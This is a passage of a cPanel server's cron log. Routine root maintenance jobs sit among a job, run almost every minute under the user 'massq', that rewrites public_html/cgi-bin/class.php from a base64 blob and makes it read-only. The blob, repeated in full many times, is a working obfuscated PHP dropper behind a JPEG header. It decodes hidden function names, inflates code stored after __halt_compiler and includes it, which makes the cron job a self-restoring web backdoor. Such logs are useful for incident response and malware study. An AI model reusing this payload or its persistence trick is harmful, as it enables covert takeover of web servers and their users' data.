LG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:15:01 server CROND[30219]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 00:15:01 server CROND[30227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:15:01 server CROND[30220]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:15:01 server CROND[30224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:16:01 server CROND[31209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:16:01 server CROND[31208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:16:01 server CROND[31210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:17:01 server CROND[31583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:17:01 server CROND[31584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:17:01 server CROND[31585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:18:01 server CROND[31954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:18:01 server CROND[31955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:18:01 server CROND[31956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:19:01 server CROND[32373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:19:01 server CROND[32374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:19:01 server CROND[32375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:20:01 server CROND[32756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:20:01 server CROND[32766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:20:01 server CROND[32767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:20:01 server CROND[301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:20:01 server CROND[302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:20:01 server CROND[304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:20:01 server CROND[305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:20:01 server CROND[319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:20:01 server CROND[303]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:21:01 server CROND[1341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:21:01 server CROND[1340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:21:01 server CROND[1343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:22:01 server CROND[1731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:22:01 server CROND[1732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:22:01 server CROND[1733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:23:01 server CROND[2149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:23:01 server CROND[2150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:23:01 server CROND[2151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:24:01 server CROND[2553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:24:01 server CROND[2552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:24:01 server CROND[2555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:25:01 server CROND[3031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:25:01 server CROND[3033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:25:01 server CROND[3037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:25:01 server CROND[3038]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 00:25:01 server CROND[3036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:25:01 server CROND[3034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:25:01 server CROND[3039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:25:01 server CROND[3035]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:26:01 server CROND[4339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:26:01 server CROND[4340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:26:01 server CROND[4341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:27:01 server CROND[5183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:27:01 server CROND[5184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:27:01 server CROND[5185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwx